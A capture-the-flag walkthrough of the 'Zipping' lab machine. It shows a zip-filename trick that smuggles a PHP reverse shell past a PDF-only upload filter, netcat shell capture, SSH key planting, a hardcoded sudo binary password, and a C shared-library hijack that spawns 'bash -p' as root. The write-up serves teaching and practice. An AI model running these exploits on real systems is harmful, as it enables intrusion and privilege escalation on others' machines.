Zipping
Box info

Enumeration
Nmap
Let's start by enumerating ports using Nmap
:
szczygielka@hacks$ sudo nmap -sVC -p- 10.129.229.87
[sudo] password for szczygielka:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-20 16:37 EST
Nmap scan report for 10.129.229.87
Host is up (0.040s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.0p1 Ubuntu 1ubuntu7.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 9d:6e:ec:02:2d:0f:6a:38:60:c6:aa:ac:1e:e0:c2:84 (ECDSA)
|_ 256 eb:95:11:c7:a6:fa:ad:74:ab:a2:c5:f6:a4:02:18:41 (ED25519)
80/tcp open http Apache httpd 2.4.54 ((Ubuntu))
|_http-server-header: Apache/2.4.54 (Ubuntu)
|_http-title: Zipping | Watch store
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 78.34 seconds
Nmap
scan results indicate that port 22 is open and the SSH
service is running on it, and port 80 is also open with the Apache
HTTP server running.
Exploring website
Let's open the address 10.129.229.87
using the web browser. The website appears to be a watch store:

Most of the navbar options on the website are inactive. However, there are 2 interesting navbar options: Shop
and Work with Us
.
Shop
Clicking on the navbar option Shop
redirects us to /shop
:

Clicking on the offered product allows you to view the product details and add it to the cart:

After adding the product to the cart, we can place an order:

Work with Us
The second navbar option Work with Us
redirects us to /upload.php
, which indicates that this site uses PHP
. According to the information on the website, the application should only accept zip
files containing pdf
files.

First, let's check how the website works when you upload a file with the assumed requirements. Let's prepare an example pdf
file, e.g. szczygielka.pdf
and then let's zip
it using the following command:
szczygielka@hacks$ zip szczygielka.zip szczygielka.pdf
adding: szczygielka.pdf (deflated 7%)
After adding the zip
archive to the website and click the Upload
button, we receive a hyperlink that allows us to go to the preview of the PDF
file.

Preview of the content of the szczygielka.pdf
file:

The ability to preview a pdf
file may indicate that the uploaded zip
archive is being unpacked on the server. We should now check whether it is possible to add files in a format other than the declared one on the website. Due to the fact the website uses PHP, we want to check whether uploading files in PHP format is possible. If we managed to execute the uploaded PHP file, it would allow us to obtain a remote code execution and so reverse shell.
Let's download the reverse shell from this website and change the IP address and port to the one on which we will listen:
Let's try to upload a file with the PHP extension first:

After trying to upload a pdf
file without packing it into a zip archive, we receive an error Error uploading file
. So let's now pack the php-reverse-shell.php
file into a zip
archive:
szczygielka@hacks$ zip rev-shell.zip php-reverse-shell.php
adding: php-reverse-shell.php (deflated 59%)
Then let's upload the rev-shell.zip
archive to the website:

We received the error again, but it is different than the first one and indicates that the unpacked file must have a pdf
extension. Let's also check if it is possible to upload only one file in the archive.
Let's prepare a new archive called two-files.zip
:
szczygielka@hacks$ zip two-files.zip szczygielka.pdf php-reverse-shell.php
adding: szczygielka.pdf (deflated 7%)
adding: php-reverse-shell.php (deflated 59%)
Upload it to the website:

This time we also received an error. This time the error indicates that the archive should only contain one PDF file.
Let's check if we can send an archive containing a file with a double extension. To a file containing a reverse shell php-reverse-shell.php
let's add the second pdf
extension and then pack it into a zip archive:
szczygielka@hacks$ mv php-reverse-shell.php php-reverse-shell.php.pdf
szczygielka@hacks$ zip rev-shell.zip php-reverse-shell.php.pdf
adding: php-reverse-shell.php.pdf (deflated 59%)
The rev-shell.zip
file is successfully uploaded to the website:

It turns out that we can upload a PHP file to the website, but its last extension must indicate the PDF file format. If we could separate the two extensions from each other, we might be able to execute a file containing the PHP code. Let's take a closer look at the zip
format because it is sent to the website and then the file is extracted from it.
Bypass zip upload restrictions
Search results for bypassing file upload filters for zip
files on the Internet led us to a great article. From the article, we find out that in the zip
format, two structures may be responsible for storing the names of files contained in the zip
archive. These are Local File Header
and File Header
in Central Directory
. The article indicates that the Local File Header
is prefixed to each of the stored files, earlier in the file and the Central Directory
is located at the end of the file.
The structure of the zip
file is as follows:
The structure of Central Directory
:
The article points out that parsers can be confused by placing two different names in each structure referring to the same data, i.e. to this file. Depending on how the zip file is handled, the files it contains can be read, e.g. only based on the Local File Header
.
Exploitation
In this case, we will try to use these differences in handling zip
files to exploit the target machine. So let's prepare a zip
archive containing the reverse-shell.php.pdf
file, and then use the hexadecimal editor to edit the filename of the file contained in this archive. However, we do not know whether we should edit the filename in Local File Header
or in File Header
in Central Directory
. So we have to check 2 options.
Since we want to execute the PHP file on the target, we want to prepare the name of the file in such a way that in the case of the php-reverse-shell.php.pdf
file, the pdf
extension will be omitted. To do this we will try to add one of the whitespace characters, more specifically the space (x00) in one of the filenames php-reverse-shell.php.pdf
in the zip.
Let's run the listener on the port we placed in the php-reverse-shell.php.pdf
file:
szczygielka@hacks$ nc -lnvp 443
listening on [any] 443 ...
Let's open the rev-shell.zip
file in a hex editor. As we expected, the zip
file contains 2 occurrences of the file name php-reverse-shell.php.pdf
:


Adding a space in the filename php-reverse-shell.php.pdf
, located in the Central Directory
:

After saving the changes to the zip
file, let's upload it to the website:

Let's open the given address to the uploaded file:

We received a Not Found
error in the browser, but in the listener we get the reverse shell:
$ nc -lnvp 443
listening on [any] 443 ...
connect to [10.10.14.172] from (UNKNOWN) [10.129.229.87] 39829
Linux zipping 5.19.0-46-generic #47-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 16 13:30:11 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux
16:07:28 up 5:47, 0 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=1001(rektsu) gid=1001(rektsu) groups=1001(rektsu)
/bin/sh: 0: can't access tty; job control turned off
$
Let's upgrade the shell via the following command:
python3 -c 'import pty; pty.spawn("/bin/bash")'
We got shell as rektsu
user.
rektsu@zipping/: whoami
rektsu
Port 22 on the machine is open, so we can generate an SSH
keypair for this user. In the -f
argument, we provide the name of the files in which the private and public keys are to be saved:
rektsu@zipping:/home/rektsu$ ssh-keygen -f rektsu
ssh-keygen -f rektsu
Generating public/private rsa key pair.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in rektsu
Your public key has been saved in rektsu.pub
The key fingerprint is:
SHA256:ObRvHqSUwpwjCdvxru3c1sbKyI7ge3LIw3xAYtkVZGU rektsu@zipping
The key's randomart image is:
<SNIP>
After generating the SSH keys, we receive two files: rektsu
, which is the private key, and the rektsu.pub
file, which is the public key. Let's create a file ~/.ssh/authorized_keys
and add the public key to it to enable logging in with the rektsu
private key on this machine:
cat rektsu.pub >> ~/.ssh/authorized_keys
To get the private key, we can prepare the HTTP server on our target via the following command:
rektsu@zipping:/home/rektsu$ python3 -m http.server 8888
Serving HTTP on 0.0.0.0 port 8888 (http://0.0.0.0:8888/) ...
Then download it:
szczygielka@hacks$ wget 10.129.229.87:8888/rektsu
--2024-02-21 16:23:56-- http://10.129.229.87:8888/rektsu
Connecting to 10.129.229.87:8888... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2602 (2.5K) [application/octet-stream]
Saving to: โrektsuโ
rektsu 100%[========================================================================================================================================>] 2.54K --.-KB/s in 0s
2024-02-21 16:23:56 (54.3 MB/s) - โrektsuโ saved [2602/2602]
As a rektsu
user, we can log in as follows, using the downloaded private key:
szczygielka@hacks$ ssh -i rektsu rektsu@10.129.229.87
Welcome to Ubuntu 22.10 (GNU/Linux 5.19.0-46-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
This system has been minimized by removing packages and content that are
not required on a system that users do not log into.
To restore this content, you can run the 'unminimize' command.
Last login: Tue Sep 5 14:24:24 2023 from 10.10.14.40
rektsu@zipping:~$
User flag
User flag can be obtained from/home/rektsu/user.txt
. Using null-byte injection in zip
file upload was an unintended solution, which was patched:

Privilege escalation
Let's start by checking sudo
permissions for our user:
rektsu@zipping:~$ sudo -l
Matching Defaults entries for rektsu on zipping:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User rektsu may run the following commands on zipping:
(ALL) NOPASSWD: /usr/bin/stock
The output of the sudo -l
command indicates that the user svc
can run /usr/bin/stock
with sudo
permissions without a password. Let's check what type of file is /usr/bin/stock
:
rektsu@zipping:~$ file /usr/bin/stock
/usr/bin/stock: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=aa34d8030176fe286f8011c9d4470714d188ab42, for GNU/Linux 3.2.0, not stripped
An attempt to run the binary /usr/bin/stock
with sudo
fails, because we are asked to enter a password:
rektsu@zipping:~$ sudo /usr/bin/stock
Enter the password:
Let's download the stock
file to our attack machine using scp
:
szczygielka@hacks$ scp -i rektsu rektsu@10.129.229.87:/usr/bin/stock stock
stock 100% 16KB 139.9KB/s 00:00
We will decompile and analyze the downloaded file using Ghidra
. In one of the decompiled functions, checkAuth
function we find the string St0ckM4nager
which appears to be a password:

After entering the found string as a password, we can run the stock
binary:
rektsu@zipping:~$ sudo /usr/bin/stock
Enter the password: St0ckM4nager
================== Menu ==================
1) See the stock
2) Edit the stock
3) Exit the program
Select an option:
After testing all possible options in the software, it seems unlikely that the offered functionalities can be used to escalate privileges, so let's check what system calls occur during the execution of this program. To do that we are going to use strace
.
It turns out that strace
is already installed on our target:
rektsu@zipping:~$ strace
strace: must have PROG [ARGS] or -p PID
Try 'strace -h' for more information.
So let's run stock
using strace
:
rektsu@zipping:~$ strace stock
execve("/usr/bin/stock", ["stock"], 0x7ffd0d96bbc0 /* 19 vars */) = 0
brk(NULL) = 0x56179f642000
arch_prctl(0x3001 /* ARCH_??? */, 0x7ffc63e9c960) = -1 EINVAL (Invalid argument)
mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f55b7049000
access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
newfstatat(3, "", {st_mode=S_IFREG|0644, st_size=18225, ...}, AT_EMPTY_PATH) = 0
mmap(NULL, 18225, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7f55b7044000
close(3) = 0
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\3206\2\0\0\0\0\0"..., 832) = 832
pread64(3, "\6\0\0\0\4\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0"..., 784, 64) = 784
newfstatat(3, "", {st_mode=S_IFREG|0644, st_size=2072888, ...}, AT_EMPTY_PATH) = 0
pread64(3, "\6\0\0\0\4\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0"..., 784, 64) = 784
mmap(NULL, 2117488, PROT_READ, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7f55b6e00000
mmap(0x7f55b6e22000, 1544192, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x22000) = 0x7f55b6e22000
mmap(0x7f55b6f9b000, 356352, PROT_READ, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x19b000) = 0x7f55b6f9b000
mmap(0x7f55b6ff2000, 24576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1f1000) = 0x7f55b6ff2000
mmap(0x7f55b6ff8000, 53104, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7f55b6ff8000
close(3) = 0
mmap(NULL, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f55b7041000
arch_prctl(ARCH_SET_FS, 0x7f55b7041740) = 0
set_tid_address(0x7f55b7041a10) = 4547
set_robust_list(0x7f55b7041a20, 24) = 0
rseq(0x7f55b7042060, 0x20, 0, 0x53053053) = 0
mprotect(0x7f55b6ff2000, 16384, PROT_READ) = 0
mprotect(0x56179d711000, 4096, PROT_READ) = 0
mprotect(0x7f55b707f000, 8192, PROT_READ) = 0
prlimit64(0, RLIMIT_STACK, NULL, {rlim_cur=8192*1024, rlim_max=RLIM64_INFINITY}) = 0
munmap(0x7f55b7044000, 18225) = 0
newfstatat(1, "", {st_mode=S_IFCHR|0620, st_rdev=makedev(0x88, 0x1), ...}, AT_EMPTY_PATH) = 0
getrandom("\x03\xf4\x2c\x19\x0d\x50\xc7\xc9", 8, GRND_NONBLOCK) = 8
brk(NULL) = 0x56179f642000
brk(0x56179f663000) = 0x56179f663000
newfstatat(0, "", {st_mode=S_IFCHR|0620, st_rdev=makedev(0x88, 0x1), ...}, AT_EMPTY_PATH) = 0
write(1, "Enter the password: ", 20Enter the password: ) = 20
read(0,
Recent write
and read
system calls indicate that we should provide a password, so let's do it. After entering the password, further system calls appeared:
<SNIP>
write(1, "Enter the password: ", 20Enter the password: ) = 20
read(0, St0ckM4nager
"St0ckM4nager\n", 1024) = 13
openat(AT_FDCWD, "/home/rektsu/.config/libcounter.so", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
write(1, "\n================== Menu ======="..., 44
================== Menu ==================
) = 44
write(1, "\n", 1
) = 1
write(1, "1) See the stock\n", 171) See the stock
) = 17
write(1, "2) Edit the stock\n", 182) Edit the stock
) = 18
write(1, "3) Exit the program\n", 203) Exit the program
) = 20
write(1, "\n", 1
) = 1
write(1, "Select an option: ", 18Select an option: ) = 18
read(0,
One of these systems calls seems to be interesting:
openat(AT_FDCWD, "/home/rektsu/.config/libcounter.so", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
The output from the strace
indicates that stock
binary is trying to open the file /home/rektsu/.config/libcounter.so
but cannot find this file. The extension of the file libcounter.so
indicates that it is a shared library.
So we can write our own shared library /home/rektsu/.config/libcounter.so
in C/C++, which will be called indirectly using binary stock
. Since stock
will run with sudo
privileges, calling libcounter.so
should allow us to escalate privileges. To elevate our privileges, we will want to invoke bash in privileged mode with the following command:
bash -p
To create the libcounter.so
library, let's first prepare the lib.c
file on our attacking machine with the following code:
#include <unistd.h>
#include <cstdlib>
void begin (void) __attribute__((destructor));
void begin (void) {
system("bash -p");
}
Using a destructor
in this file will cause the begin
function to be called when the shared library is unloaded, which usually happens when exiting the program.
Let's save the file and then compile it to object format using g++
:
szczygielka@hacks$ g++ -c -o lib.o lib.c
And then let's create the library libcounter.so
using the object file lib.o
:
szczygielka@hacks$ gcc -shared -o libcounter.so lib.o
Send the prepared library to the /home/rektsu/.config/
directory located on our target using scp
:
szczygielka@hacks$ scp -i rektsu libcounter.so rektsu@10.129.229.87:/home/rektsu/.config/
libcounter.so 100% 15KB 197.6KB/s 00:00
Now let's execute binary stock with sudo
permissions, provide the required password, and then let's exit the binary:
rektsu@zipping:~$ sudo stock
Enter the password: St0ckM4nager
================== Menu ==================
1) See the stock
2) Edit the stock
3) Exit the program
Select an option: 3
root@zipping:/home/rektsu#
After exiting the program, we become the root
user.
Root flag
All previous steps lead us to the root
user. The root flag can be obtained at /root/root.txt
.
Last updated